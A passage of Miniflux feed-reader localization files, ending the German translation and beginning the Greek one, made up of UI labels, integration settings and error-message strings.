"form.prefs.label.gesture_nav": "Geste zum Navigieren zwischen Einträgen",
"form.prefs.label.show_reading_time": "Geschätzte Lesezeit für Artikel anzeigen",
"form.prefs.label.custom_css": "Benutzerdefiniertes CSS",
"form.prefs.label.custom_js": "Benutzerdefiniertes JavaScript",
"form.prefs.label.entry_order": "Artikel-Sortierspalte",
"form.prefs.label.default_home_page": "Standard-Startseite",
"form.prefs.label.categories_sorting_order": "Kategorie-Sortierung",
"form.prefs.label.mark_read_on_view": "Einträge automatisch als gelesen markieren, wenn sie angezeigt werden",
"form.prefs.label.mark_read_on_view_or_media_completion": "Einträge automatisch als gelesen markieren, wenn sie angezeigt werden. Audio/Video bei 90%% Wiedergabe als gelesen markieren",
"form.prefs.label.mark_read_on_media_completion": "Nur als gelesen markieren, wenn Audio/Video zu 90%% wiedergegeben wurden",
"form.prefs.label.mark_read_manually": "Einträge manuell als gelesen markieren",
"form.prefs.fieldset.application_settings": "Anwendungseinstellungen",
"form.prefs.fieldset.authentication_settings": "Authentifizierungseinstellungen",
"form.prefs.fieldset.reader_settings": "Reader-Einstellungen",
"form.prefs.fieldset.global_feed_settings": "Globale Feedeinstellungen",
"form.prefs.label.external_font_hosts": "Externe Schriftarten-Hosts",
"form.prefs.help.external_font_hosts": "Per Leerzeichen getrennte Liste externer Schriftarten-Hosts, die erlaubt werden sollen. Beispiel: \"fonts.gstatic.com fonts.googleapis.com\".",
"error.settings_invalid_domain_list": "Ungültige Domainliste. Bitte geben Sie eine per Leerzeichen getrennte Liste von Domains an.",
"form.import.label.file": "OPML-Datei",
"form.import.label.url": "URL",
"form.integration.betula_activate": "Einträge in Betula speichern",
"form.integration.betula_url": "Betula-Server-URL",
"form.integration.betula_token": "Betula-Token",
"form.integration.fever_activate": "Fever-API aktivieren",
"form.integration.fever_username": "Fever-Benutzername",
"form.integration.fever_password": "Fever-Passwort",
"form.integration.fever_endpoint": "Fever-API-Endpunkt:",
"form.integration.googlereader_activate": "Google-Reader-API aktivieren",
"form.integration.googlereader_username": "Google-Reader-Benutzername",
"form.integration.googlereader_password": "Google-Reader-Passwort",
"form.integration.googlereader_endpoint": "Google-Reader-API-Endpunkt:",
"form.integration.pinboard_activate": "Einträge in Pinboard speichern",
"form.integration.pinboard_token": "Pinboard-API-Token",
"form.integration.pinboard_tags": "Pinboard-Tags",
"form.integration.pinboard_bookmark": "Lesezeichen als ungelesen markieren",
"form.integration.instapaper_activate": "Einträge in Instapaper speichern",
"form.integration.instapaper_username": "Instapaper-Benutzername",
"form.integration.instapaper_password": "Instapaper-Passwort",
"form.integration.pocket_activate": "Einträge in Pocket speichern",
"form.integration.pocket_consumer_key": "Pocket-Verbraucher-Schlüssel",
"form.integration.pocket_access_token": "Pocket-Zugangstoken",
"form.integration.pocket_connect_link": "Verbinden Sie Ihr Pocket-Konto",
"form.integration.wallabag_activate": "Einträge in Wallabag speichern",
"form.integration.wallabag_only_url": "Nur URL senden (anstelle des vollständigen Inhalts)",
"form.integration.wallabag_endpoint": "Wallabag-Basis-URL",
"form.integration.wallabag_client_id": "Wallabag-Client-ID",
"form.integration.wallabag_client_secret": "Wallabag-Client-Geheimnis",
"form.integration.wallabag_username": "Wallabag-Benutzername",
"form.integration.wallabag_password": "Wallabag-Passwort",
"form.integration.notion_activate": "Einträge in Notion speichern",
"form.integration.notion_page_id": "Notion-Page-ID",
"form.integration.notion_token": "Notion-Geheimnis-Token",
"form.integration.apprise_activate": "Einträge zu Apprise pushen",
"form.integration.apprise_url": "Apprise-API-URL",
"form.integration.apprise_services_url": "Kommaseparierte Liste von Apprise-Dienst-URLs",
"form.integration.nunux_keeper_activate": "Artikel in Nunux Keeper speichern",
"form.integration.nunux_keeper_endpoint": "Nunux-Keeper-API-Endpunkt",
"form.integration.nunux_keeper_api_key": "Nunux-Keeper-API-Schlüssel",
"form.integration.omnivore_activate": "Einträge in Omnivore speichern",
"form.integration.omnivore_url": "Omnivore-API-Endpunkt",
"form.integration.omnivore_api_key": "Omnivore-API-Schlüssel",
"form.integration.espial_activate": "Einträge in Espial speichern",
"form.integration.espial_endpoint": "Espial-API-Endpunkt",
"form.integration.espial_api_key": "Espial-API-Schlüssel",
"form.integration.espial_tags": "Espial-Tags",
"form.integration.readwise_activate": "Einträge in Readwise Reader speichern",
"form.integration.readwise_api_key": "Readwise-Reader-Zugangstoken",
"form.integration.readwise_api_key_link": "Erhalten Sie Ihren Readwise-Zugangstoken",
"form.integration.telegram_bot_activate": "Schicken Sie neue Artikel in den Telegram-Chat",
"form.integration.telegram_bot_token": "Bot-Token",
"form.integration.telegram_chat_id": "Chat-ID",
"form.integration.telegram_topic_id": "Thema-ID",
"form.integration.telegram_bot_disable_web_page_preview": "Webseiten-Vorschau deaktivieren",
"form.integration.telegram_bot_disable_notification": "Benachrichtigungen deaktivieren",
"form.integration.telegram_bot_disable_buttons": "Schaltfächen deaktivieren",
"form.integration.linkace_activate": "Einträge in LinkAce speichern",
"form.integration.linkace_endpoint": "LinkAce-API-Endpunkt",
"form.integration.linkace_api_key": "LinkAce-API-Schlüssel",
"form.integration.linkace_tags": "LinkAce-Tags",
"form.integration.linkace_is_private": "Link als privat markieren",
"form.integration.linkace_check_disabled": "Linkprüfung deaktivieren",
"form.integration.linkding_activate": "Artikel in Linkding speichern",
"form.integration.linkding_endpoint": "Linkding-API-Endpunkt",
"form.integration.linkding_api_key": "Linkding-API-Schlüssel",
"form.integration.linkding_tags": "Linkding-Tags",
"form.integration.linkding_bookmark": "Lesezeichen als ungelesen markieren",
"form.integration.linkwarden_activate": "Artikel in Linkwarden speichern",
"form.integration.linkwarden_endpoint": "Linkwarden-API-Endpunkt",
"form.integration.linkwarden_api_key": "Linkwarden-API-Schlüssel",
"form.integration.matrix_bot_activate": "Neue Artikel in Matrix übertragen",
"form.integration.matrix_bot_user": "Benutzername für Matrix",
"form.integration.matrix_bot_password": "Passwort für Matrix-Benutzer",
"form.integration.matrix_bot_url": "URL des Matrix-Servers",
"form.integration.matrix_bot_chat_id": "ID des Matrix-Raums",
"form.integration.raindrop_activate": "Einträge in Raindrop speichern",
"form.integration.raindrop_token": "(Test-)Token",
"form.integration.raindrop_collection_id": "Sammlungs-ID",
"form.integration.raindrop_tags": "Tags (kommagetrennt)",
"form.integration.readeck_activate": "Artikel in Readeck speichern",
"form.integration.readeck_endpoint": "Readeck-URL",
"form.integration.readeck_api_key": "Readeck-API-Schlüssel",
"form.integration.readeck_labels": "Readeck-Labels",
"form.integration.readeck_only_url": "Nur URL senden (anstelle des vollständigen Inhalts)",
"form.integration.shiori_activate": "Artikel in Shiori speichern",
"form.integration.shiori_endpoint": "Shiori-API-Endpunkt",
"form.integration.shiori_username": "Shiori-Benutzername",
"form.integration.shiori_password": "Shiori-Passwort",
"form.integration.shaarli_activate": "Artikel in Shaarli speichern",
"form.integration.shaarli_endpoint": "Shaarli-URL",
"form.integration.shaarli_api_secret": "Shaarli-API-Geheimnis",
"form.integration.webhook_activate": "Webhook aktivieren",
"form.integration.webhook_url": "Webhook-URL",
"form.integration.webhook_secret": "Webhook-Geheimnis",
"form.integration.rssbridge_activate": "Beim Hinzufügen von Abonnements RSS-Bridge prüfen.",
"form.integration.rssbridge_url": "RSS-Bridge-Server-URL",
"form.integration.ntfy_activate": "Einträge zu ntfy pushen",
"form.integration.ntfy_topic": "Ntfy-Thema",
"form.integration.ntfy_url": "Ntfy-URL (optional, Standard ist ntfy.sh)",
"form.integration.ntfy_api_token": "Ntfy-API-Token (optional)",
"form.integration.ntfy_username": "Ntfy-Benutzername (optional)",
"form.integration.ntfy_password": "Ntfy-Passwort (optional)",
"form.integration.ntfy_icon_url": "Ntfy-Symbol-URL (optional)",
"form.integration.ntfy_internal_links": "Interne Links beim Klicken verwenden (optional)",
"form.integration.discord_activate": "Einträge zu Discord pushen",
"form.integration.discord_webhook_link": "Discord-Webhook-URL",
"form.api_key.label.description": "API-Schlüsselbezeichnung",
"form.submit.loading": "Lade...",
"form.submit.saving": "Speichern...",
"time_elapsed.not_yet": "noch nicht",
"time_elapsed.yesterday": "gestern",
"time_elapsed.now": "gerade",
"time_elapsed.minutes": [
"vor %d Minute",
"vor %d Minuten"
],
"time_elapsed.hours": [
"vor %d Stunde",
"vor %d Stunden"
],
"time_elapsed.days": [
"vor %d Tag",
"vor %d Tagen"
],
"time_elapsed.weeks": [
"vor %d Woche",
"vor %d Wochen"
],
"time_elapsed.months": [
"vor %d Monat",
"vor %d Monaten"
],
"time_elapsed.years": [
"vor %d Jahr",
"vor %d Jahren"
],
"alert.too_many_feeds_refresh": [
"Sie haben zu viele Aktualisierungen ausgelöst. Bitte warten Sie %d Minute, bevor Sie es erneut versuchen.",
"Sie haben zu viele Aktualisierungen ausgelöst. Bitte warten Sie %d Minuten, bevor Sie es erneut versuchen."
],
"alert.background_feed_refresh": "Alle Abonnements werden derzeit im Hintergrund aktualisiert. Sie können Miniflux weiterhin benutzen, während dieser Prozess ausgeführt wird.",
"error.http_response_too_large": "Die HTTP-Antwort ist zu groß. Sie könnten die Grenze für die Größe der HTTP-Antwort in den globalen Einstellungen erhöhen (benötigt einen Neustart des Servers)",
"error.http_body_read": "Der HTTP-Inhalt kann nicht gelesen werden: %v",
"error.http_empty_response_body": "Der Inhalt der HTTP-Antwort ist leer.",
"error.http_empty_response": "Die HTTP-Antwort ist leer. Vielleicht versucht die Webseite, sich vor Bots zu schützen?",
"error.tls_error": "TLS-Fehler: %q. Wenn Sie mögen, können Sie versuchen die TLS-Verifizierung in den Einstellungen des Abonnements zu deaktivieren.",
"error.network_operation": "Miniflux kann die Webseite aufgrund eines Netzwerk-Fehlers nicht erreichen: %v",
"error.network_timeout": "Die Webseite ist zu langsam und die Anfrage ist abgelaufen: %v.",
"error.http_client_error": "HTTP-Client-Fehler: %v.",
"error.http_not_authorized": "Der Zugriff auf diese Website ist nicht erlaubt. Möglicherweise ist der Benutzername oder das Passwort falsch.",
"error.http_too_many_requests": "Miniflux hat zu viele Anfragen an diese Webseite gestellt. Bitte versuchen Sie es später erneut oder ändern Sie die Konfiguration der Anwendung.",
"error.http_forbidden": "Der Zugriff auf diese Webseite ist verboten. Vielleicht versucht die Webseite, sich vor Bots zu schützen?",
"error.http_resource_not_found": "Die gewünschte Quelle wurde nicht gefunden. Bitte stellen Sie sicher, dass die URL korrekt ist.",
"error.http_internal_server_error": "Die Webseite steht durch einen Server-Fehler derzeit nicht zur Verfügung. Versuchen Sie es bitte später erneut.",
"error.http_bad_gateway": "Die Webseite ist aufgrund eines Bad-Gateway-Fehlers derzeit nicht verfügbar. Das Problem liegt nicht bei Miniflux. Bitte versuchen Sie es später erneut.",
"error.http_service_unavailable": "Die Webseite ist aufgrund eines Internal-Server-Fehlers derzeit nicht verfügbar. Das Problem liegt nicht bei Miniflux. Bitte versuchen Sie es später erneut.",
"error.http_gateway_timeout": "Die Webseite ist aufgrund eines Gateway-Timeout-Fehlers derzeit nicht verfügbar. Das Problem liegt nicht bei Miniflux. Bitte versuchen Sie es später erneut.",
"error.http_unexpected_status_code": "Die Webseite ist aufgrund eines eines unerwarteten HTTP-Fehlers derzeit nicht verfügbar: %d. Das Problem liegt nicht bei Miniflux. Bitte versuchen Sie es später erneut.",
"error.database_error": "Datenbank-Fehler: %v.",
"error.category_not_found": "Diese Kategorie existiert nicht oder gehört nicht zu diesem Benutzer.",
"error.duplicated_feed": "Dieses Abonnement existiert bereits.",
"error.unable_to_parse_feed": "Dieses Abonnement kann nicht gelesen werden: %v.",
"error.feed_not_found": "Dieses Abonnement existiert nicht oder gehört nicht zu diesem Benutzer.",
"error.unable_to_detect_rssbridge": "Abonnement kann nicht durch RSS-Bridge erkannt werden: %v.",
"error.feed_format_not_detected": "Das Format des Abonnements kann nicht erkannt werden: %v.",
"form.prefs.label.media_playback_rate": "Wiedergabegeschwindigkeit von Audio/Video",
"error.settings_media_playback_rate_range": "Die Wiedergabegeschwindigkeit liegt außerhalb des Bereichs",
"enclosure_media_controls.seek" : "Vorspulen:",
"enclosure_media_controls.seek.title" : "%s Sekunden vorspulen",
"enclosure_media_controls.speed" : "Geschwindigkeit:",
"enclosure_media_controls.speed.faster" : "Schneller",
"enclosure_media_controls.speed.faster.title" : "%sx schneller",
"enclosure_media_controls.speed.slower" : "Langsamer",
"enclosure_media_controls.speed.slower.title" : "%sx langsamer",
"enclosure_media_controls.speed.reset" : "Zurücksetzen",
"enclosure_media_controls.speed.reset.title" : "Wiedergabegeschwindigkeit auf 1x zurücksetzen"
}
v2-2.2.5/internal/locale/translations/el_EL.json 0000664 0000000 0000000 00000126637 14743520056 0021543 0 ustar 00root root 0000000 0000000 {
"skip_to_content": "Skip to content",
"confirm.question": "Είστε σίγουροι;",
"confirm.question.refresh": "Θέλετε να επιτελέσετε μια υποχρεωτική ανανέωση;",
"confirm.yes": "ναι",
"confirm.no": "όχι",
"confirm.loading": "Σε εξέλιξη...",
"action.subscribe": "Εγγραφείτε",
"action.save": "Αποθηκεύσετε",
"action.or": "ή",
"action.cancel": "ακύρωση",
"action.remove": "Κατάργηση",
"action.remove_feed": "Κατάργηση αυτής της ροής",
"action.update": "Ενημέρωση",
"action.edit": "Επεξεργασία",
"action.download": "Λήψη",
"action.import": "Εισαγωγή",
"action.login": "Σύνδεση",
"action.home_screen": "Προσθήκη στην αρχική οθόνη",
"tooltip.keyboard_shortcuts": "Συντόμευση πληκτρολογίου: % s",
"tooltip.logged_user": "Συνδεδεμένος/η ως %s",
"menu.title": "Menu",
"menu.home_page": "Home page",
"menu.unread": "Μη αναγνωσμένα",
"menu.starred": "Αγαπημένα",
"menu.history": "Ιστορικό",
"menu.feeds": "Ροές",
"menu.categories": "Κατηγορίες",
"menu.settings": "Ρυθμίσεις",
"menu.logout": "Αποσύνδεση",
"menu.preferences": "Προτιμήσεις",
"menu.integrations": "Ενσωμάτωσεις",
"menu.sessions": "Συνδέσεις",
"menu.users": "Χρήστες",
"menu.about": "Περί",
"menu.export": "Εξαγωγή",
"menu.import": "Εισαγωγή",
"menu.search": "Αναζήτηση",
"menu.create_category": "Δημιουργήστε μια κατηγορία",
"menu.mark_page_as_read": "Σημείωση αυτής της σελίδας ως αναγνωσμένη",
"menu.mark_all_as_read": "Σημείωση όλων ως αναγνωσμένα",
"menu.show_all_entries": "Εμφάνιση όλων των καταχωρήσεων",
"menu.show_only_unread_entries": "Εμφάνιση μόνο μη αναγνωσμένων καταχωρήσεων",
"menu.show_only_starred_entries": "Εμφάνιση μόνο αγαπημένων καταχωρήσεων",
"menu.refresh_feed": "Ανανέωση",
"menu.refresh_all_feeds": "Ανανέωση όλων των ροών στο παρασκήνιο",
"menu.edit_feed": "Επεξεργασία",
"menu.edit_category": "Επεξεργασία",
"menu.add_feed": "Προσθήκη συνδρομής",
"menu.add_user": "Προσθήκη χρήστη",
"menu.flush_history": "Εκκαθάριση ιστορικού",
"menu.feed_entries": "Καταχωρήσεις",
"menu.api_keys": "Κλειδιά API",
"menu.create_api_key": "Δημιουργήστε ένα νέο κλειδί API",
"menu.shared_entries": "Κοινόχρηστες καταχωρήσεις",
"search.label": "Αναζήτηση",
"search.placeholder": "Αναζήτηση...",
"search.submit": "Search",
"pagination.last": "Last",
"pagination.next": "Επόμενη",
"pagination.first": "First",
"pagination.previous": "Προηγούμενη",
"entry.status.unread": "Μη αναγνωσμένο",
"entry.status.read": "Αναγνωσμένο",
"entry.status.toast.unread": "Επισήμανση ως μη αναγνωσμένο",
"entry.status.toast.read": "Επισήμανση ως αναγνωσμένο",
"entry.status.title": "Αλλαγή κατάστασης καταχώρησης",
"entry.bookmark.toggle.on": "Αγαπημένο",
"entry.bookmark.toggle.off": "Αναίρεση αγαπημένου",
"entry.bookmark.toast.on": "Αγαπημένα",
"entry.bookmark.toast.off": "Μη αγαπημένα",
"entry.state.saving": "Aποθήκευση...",
"entry.state.loading": "Φόρτωση...",
"entry.save.label": "Αποθηκεύσετε",
"entry.save.title": "Αποθηκεύστε αυτό το άρθρο",
"entry.save.completed": "Έγινε!",
"entry.save.toast.completed": "Το άρθρο αποθηκεύτηκε",
"entry.scraper.label": "Λήψη",
"entry.scraper.title": "Λήψη αρχικού περιεχομένου",
"entry.scraper.completed": "Έγινε!",
"entry.external_link.label": "Εξωτερικός σύνδεσμος",
"entry.comments.label": "Σχόλια",
"entry.comments.title": "Δείτε Σχόλια",
"entry.share.label": "Διαμοιρασμός",
"entry.share.title": "Μοιραστείτε αυτό το άρθρο",
"entry.unshare.label": "Aναίρεση Διαμοιρασμού",
"entry.shared_entry.title": "Ανοίξτε τον δημόσιο σύνδεσμο",
"entry.shared_entry.label": "Διαμοιρασμός",
"entry.estimated_reading_time": [
"%d λεπτό ανάγνωση",
"%d λεπτά ανάγνωση"
],
"entry.tags.label": "Ετικέτες:",
"page.shared_entries.title": "Κοινόχρηστες Καταχωρήσεις",
"page.shared_entries_count": [
"%d shared entry",
"%d shared entries"
],
"page.unread.title": "Μη αναγνωσμένα",
"page.unread_entry_count": [
"%d unread entry",
"%d unread entries"
],
"page.total_entry_count": [
"%d entry in total",
"%d entries in total"
],
"page.starred.title": "Αγαπημένo",
"page.starred_entry_count": [
"%d starred entry",
"%d starred entries"
],
"page.categories.title": "Κατηγορίες",
"page.categories.no_feed": "Καμία ροή.",
"page.categories.entries": "Άρθρα",
"page.categories.feeds": "Συνδρομές",
"page.categories.feed_count": [
"Υπάρχει μία %d ροή.",
"Υπάρχουν %d ροές."
],
"page.new_category.title": "Νέα Κατηγορία",
"page.new_user.title": "Νέος Χρήστης",
"page.edit_category.title": "Επεξεργασία κατηγορίας: % s",
"page.edit_user.title": "Επεξεργασία χρήστη: % s",
"page.feeds.title": "Ροές",
"page.category_label": "Category: %s",
"page.feeds.last_check": "Τελευταίος έλεγχος:",
"page.feeds.next_check": "Next check:",
"page.feeds.read_counter": "Αριθμός αναγνωσμένων καταχωρήσεων",
"page.feeds.error_count": [
"%d σφάλμα",
"%d σφάλματα"
],
"page.history.title": "Ιστορικό",
"page.read_entry_count": [
"%d read entry",
"%d read entries"
],
"page.categories_count": [
"%d category",
"%d categories"
],
"page.import.title": "Εισαγωγή",
"page.search.title": "Αποτελέσματα Αναζήτησης",
"page.about.title": "Περί",
"page.about.credits": "Συνεισφέροντες",
"page.about.version": "Έκδοση:",
"page.about.build_date": "Ημερομηνία Κατασκευής:",
"page.about.author": "Συγγραφέας:",
"page.about.license": "Άδεια:",
"page.about.global_config_options": "Γενικές ρυθμίσεις",
"page.about.postgres_version": "Έκδοση Postgres:",
"page.about.go_version": "Έκδοση Go:",
"page.add_feed.title": "Νέα Συνδρομή",
"page.add_feed.no_category": "Δεν υπάρχει κατηγορία. Πρέπει να έχετε τουλάχιστον μία κατηγορία.",
"page.add_feed.label.url": "URL",
"page.add_feed.submit": "Βρείτε μια συνδρομή",
"page.add_feed.legend.advanced_options": "Προχωρημένες Επιλογές",
"page.add_feed.choose_feed": "Επιλέξτε μια συνδρομή",
"page.edit_feed.title": "Επεξεργασία ροής: % s",
"page.edit_feed.last_check": "Τελευταίος έλεγχος:",
"page.edit_feed.last_modified_header": "LastModified κεφαλίδα:",
"page.edit_feed.etag_header": "Κεφαλίδα ETag:",
"page.edit_feed.no_header": "Καμία",
"page.edit_feed.last_parsing_error": "Τελευταίο Σφάλμα Ανάλυσης",
"page.entry.attachments": "Συνημμένα",
"page.keyboard_shortcuts.title": "Συντομεύσεις Πληκτρολογίου",
"page.keyboard_shortcuts.subtitle.sections": "Πλοήγηση Τμημάτων",
"page.keyboard_shortcuts.subtitle.items": "Πλοήγηση Στοιχείων",
"page.keyboard_shortcuts.subtitle.pages": "Πλοήγηση Σελίδων",
"page.keyboard_shortcuts.subtitle.actions": "Ενέργειες",
"page.keyboard_shortcuts.go_to_unread": "Μεταβείτε στα μη αναγνωσμένα",
"page.keyboard_shortcuts.go_to_starred": "Μεταβείτε στους σελιδοδείκτες",
"page.keyboard_shortcuts.go_to_history": "Μεταβείτε στο ιστορικό",
"page.keyboard_shortcuts.go_to_feeds": "Μεταβείτε στις ροές",
"page.keyboard_shortcuts.go_to_categories": "Μεταβείτε στις κατηγορίες",
"page.keyboard_shortcuts.go_to_settings": "Μεταβείτε στις ρυθμίσεις",
"page.keyboard_shortcuts.show_keyboard_shortcuts": "Εμφάνιση συντομεύσεων πληκτρολογίου",
"page.keyboard_shortcuts.go_to_previous_item": "Μεταβείτε στο προηγούμενο στοιχείο",
"page.keyboard_shortcuts.go_to_next_item": "Μετάβαση στο επόμενο στοιχείο",
"page.keyboard_shortcuts.go_to_feed": "Πηγαίνετε στη ροή",
"page.keyboard_shortcuts.go_to_previous_page": "Μετάβαση στην προηγούμενη σελίδα",
"page.keyboard_shortcuts.go_to_next_page": "Μετάβαση στην επόμενη σελίδα",
"page.keyboard_shortcuts.go_to_bottom_item": "Μετάβαση στο κάτω στοιχείο",
"page.keyboard_shortcuts.go_to_top_item": "Μετάβαση στο επάνω στοιχείο",
"page.keyboard_shortcuts.open_item": "Άνοιγμα επιλεγμένου στοιχείου",
"page.keyboard_shortcuts.open_original": "Άνοιγμα αρχικού συνδέσμου",
"page.keyboard_shortcuts.open_original_same_window": "Άνοιγμα αρχικού συνδέσμου στην τρέχουσα καρτέλα",
"page.keyboard_shortcuts.open_comments": "Άνοιγμα συνδέσμου σχολίων",
"page.keyboard_shortcuts.open_comments_same_window": "Άνοιγμα συνδέσμου σχολίων στην τρέχουσα καρτέλα",
"page.keyboard_shortcuts.toggle_read_status_next": "Εναλλαγή ανάγνωσης / μη αναγνωσμένης, εστίαση στη συνέχεια",
"page.keyboard_shortcuts.toggle_read_status_prev": "Εναλλαγή ανάγνωσης / μη αναγνωσμένης, εστίαση στο προηγούμενο",
"page.keyboard_shortcuts.refresh_all_feeds": "Ανανέωση όλων των ροών στο παρασκήνιο",
"page.keyboard_shortcuts.mark_page_as_read": "Σημείωση της τρέχουσας σελίδας ως αναγνωσμένη",
"page.keyboard_shortcuts.download_content": "Κατεβάστε το αρχικό περιεχόμενο",
"page.keyboard_shortcuts.toggle_bookmark_status": "Εναλλαγή σελιδοδείκτη",
"page.keyboard_shortcuts.save_article": "Αποθήκευση άρθρου",
"page.keyboard_shortcuts.scroll_item_to_top": "Μετακινηση στοιχείου στην κορυφή",
"page.keyboard_shortcuts.remove_feed": "Κατάργηση αυτής της ροής",
"page.keyboard_shortcuts.go_to_search": "Ορίστε εστίαση στη φόρμα αναζήτησης",
"page.keyboard_shortcuts.toggle_entry_attachments": "Toggle open/close entry attachments",
"page.keyboard_shortcuts.close_modal": "Κλείσιμο παραθύρου διαλόγου",
"page.users.title": "Χρήστες",
"page.users.username": "Χρήστης",
"page.users.never_logged": "Ποτέ",
"page.users.admin.yes": "Ναι.",
"page.users.admin.no": "Όχι",
"page.users.actions": "Eνέργειες",
"page.users.last_login": "Τελευταία Σύνδεση",
"page.users.is_admin": "Διαχειριστής",
"page.settings.title": "Ρυθμίσεις",
"page.settings.link_google_account": "Σύνδεση του λογαριασμό μου Google",
"page.settings.unlink_google_account": "Αποσύνδεση του λογαριασμού μου Google",
"page.settings.link_oidc_account": "Σύνδεση του λογαριασμού μου %s",
"page.settings.unlink_oidc_account": "Αποσύνδεση του λογαριασμού μου %s",
"page.settings.webauthn.passkeys": "Passkeys",
"page.settings.webauthn.actions": "Actions",
"page.settings.webauthn.passkey_name": "Passkey Name",
"page.settings.webauthn.added_on": "Added On",
"page.settings.webauthn.last_seen_on": "Last Used",
"page.settings.webauthn.register": "Εγγραφή κωδικού πρόσβασης",
"page.settings.webauthn.register.error": "Δεν είναι δυνατή η εγγραφή του κωδικού πρόσβασης",
"page.login.webauthn_login.help": "Please enter your username if you're using a security key. This is not required if you are using a Passkey (discoverable credentials).",
"page.settings.webauthn.delete": [
"Αφαιρέστε %d κωδικό πρόσβασης",
"Καταργήστε %d κωδικούς πρόσβασης"
],
"page.login.title": "Είσοδος",
"page.login.google_signin": "Συνδεθείτε με τo Google",
"page.login.oidc_signin": "Συνδεθείτε με το %s",
"page.login.webauthn_login": "Είσοδος με κωδικό πρόσβασης",
"page.login.webauthn_login.error": "Δεν είναι δυνατή η σύνδεση με κωδικό πρόσβασης",
"page.integrations.title": "Ενσωμάτωση",
"page.integration.miniflux_api": "Miniflux API",
"page.integration.miniflux_api_endpoint": "Τελικό σημείο API",
"page.integration.miniflux_api_username": "Χρήστης",
"page.integration.miniflux_api_password": "Κωδικός",
"page.integration.miniflux_api_password_value": "Ο κωδικός πρόσβασης του λογαριασμού σας",
"page.integration.bookmarklet": "Bookmarklet",
"page.integration.bookmarklet.name": "Προσθήκη στο Miniflux",
"page.integration.bookmarklet.instructions": "Σύρετε και αποθέστε αυτόν τον σύνδεσμο στους σελιδοδείκτες σας.",
"page.integration.bookmarklet.help": "Αυτός ο ειδικός σύνδεσμος σάς επιτρέπει να εγγραφείτε απευθείας σε έναν ιστότοπο χρησιμοποιώντας ένα σελιδοδείκτη στο πρόγραμμα περιήγησης ιστού σας.",
"page.sessions.title": "Συνεδρίες",
"page.sessions.table.date": "Ημερομηνία",
"page.sessions.table.ip": "Διεύθυνση IP",
"page.sessions.table.user_agent": "User Agent",
"page.sessions.table.actions": "Eνέργειες",
"page.sessions.table.current_session": "Τρέχουσα Συνεδρία",
"page.api_keys.title": "Κλειδιά API",
"page.api_keys.table.description": "Περιγραφή",
"page.api_keys.table.token": "Token",
"page.api_keys.table.last_used_at": "Τελευταία Χρήση",
"page.api_keys.table.created_at": "Ημερομηνία Δημιουργίας",
"page.api_keys.table.actions": "Eνέργειες",
"page.api_keys.never_used": "Δεν έχει χρησιμοποιηθεί ποτέ",
"page.new_api_key.title": "Νέο κλειδί API",
"page.offline.title": "Λειτουργία Εκτός Σύνδεσης",
"page.offline.message": "Είστε εκτός σύνδεσης",
"page.offline.refresh_page": "Προσπαθήστε να ανανεώσετε τη σελίδα",
"page.webauthn_rename.title": "Rename Passkey",
"alert.no_shared_entry": "Δεν υπάρχει κοινόχρηστη καταχώρηση.",
"alert.no_bookmark": "Δεν υπάρχει σελιδοδείκτης αυτή τη στιγμή.",
"alert.no_category": "Δεν υπάρχει κατηγορία.",
"alert.no_category_entry": "Δεν υπάρχουν άρθρα σε αυτήν την κατηγορία.",
"alert.no_tag_entry": "Δεν υπάρχουν αντικείμενα που να ταιριάζουν με αυτή την ετικέτα.",
"alert.no_feed_entry": "Δεν υπάρχουν άρθρα για αυτήν τη ροή.",
"alert.no_feed": "Δεν έχετε συνδρομές.",
"alert.no_feed_in_category": "Δεν υπάρχει συνδρομή για αυτήν την κατηγορία.",
"alert.no_history": "Δεν υπάρχει ιστορικό αυτή τη στιγμή.",
"alert.feed_error": "Υπάρχει πρόβλημα με αυτήν τη ροή",
"alert.no_search_result": "Δεν υπάρχουν αποτελέσματα για αυτήν την αναζήτηση.",
"alert.no_unread_entry": "Δεν υπάρχουν μη αναγνωσμένα άρθρα.",
"alert.no_user": "Είστε ο μόνος χρήστης.",
"alert.account_unlinked": "Ο εξωτερικός σας λογαριασμός είναι πλέον αποσυνδεδεμένος!",
"alert.account_linked": "Ο εξωτερικός σας λογαριασμός είναι πλέον συνδεδεμένος!",
"alert.pocket_linked": "Ο λογαριασμός Pocket είναι τώρα συνδεδεμένος!",
"alert.prefs_saved": "Οι προτιμήσεις αποθηκεύτηκαν!",
"error.unlink_account_without_password": "Πρέπει να ορίσετε έναν κωδικό πρόσβασης διαφορετικά δεν θα μπορείτε να συνδεθείτε ξανά.",
"error.duplicate_linked_account": "Υπάρχει ήδη κάποιος που σχετίζεται με αυτόν τον πάροχο!",
"error.duplicate_fever_username": "Υπάρχει ήδη κάποιος άλλος με το ίδιο όνομα χρήστη Fever!",
"error.duplicate_googlereader_username": "Υπάρχει ήδη κάποιος άλλος με το ίδιο όνομα χρήστη Google Reader!",
"error.pocket_request_token": "Δεν είναι δυνατή η λήψη του request token από το Pocket!",
"error.pocket_access_token": "Δεν είναι δυνατή η λήψη του access token από το Pocket!",
"error.category_already_exists": "Αυτή η κατηγορία υπάρχει ήδη.",
"error.unable_to_create_category": "Δεν είναι δυνατή η δημιουργία αυτής της κατηγορίας.",
"error.unable_to_update_category": "Δεν είναι δυνατή η ενημέρωση αυτής της κατηγορίας.",
"error.user_already_exists": "Αυτός ο χρήστης υπάρχει ήδη.",
"error.unable_to_create_user": "Δεν είναι δυνατή η δημιουργία αυτού του χρήστη.",
"error.unable_to_update_user": "Δεν είναι δυνατή η ενημέρωση αυτού του χρήστη.",
"error.unable_to_update_feed": "Δεν είναι δυνατή η ενημέρωση αυτής της ροής.",
"error.subscription_not_found": "Δεν είναι δυνατή η εύρεση συνδρομής.",
"error.invalid_theme": "Μη έγκυρο θέμα.",
"error.invalid_language": "Μη έγκυρη γλώσσα.",
"error.invalid_timezone": "Μη έγκυρη ζώνη ώρας.",
"error.invalid_entry_direction": "Μη έγκυρη κατεύθυνση ταξινόμησης άρθρων.",
"error.invalid_display_mode": "Μη έγκυρη λειτουργία εμφάνισης εφαρμογών ιστού.",
"error.invalid_gesture_nav": "Μη έγκυρη πλοήγηση με χειρονομίες.",
"error.invalid_default_home_page": "Μη έγκυρη προεπιλεγμένη αρχική σελίδα!",
"error.empty_file": "Αυτό το αρχείο είναι κενό.",
"error.bad_credentials": "Μη έγκυρο όνομα χρήστη ή κωδικό πρόσβασης.",
"error.fields_mandatory": "Όλα τα πεδία είναι υποχρεωτικά.",
"error.title_required": "Ο τίτλος είναι υποχρεωτικός.",
"error.different_passwords": "Οι κωδικοί πρόσβασης δεν είναι οι ίδιοι.",
"error.password_min_length": "Ο κωδικός πρόσβασης πρέπει να έχει τουλάχιστον 6 χαρακτήρες.",
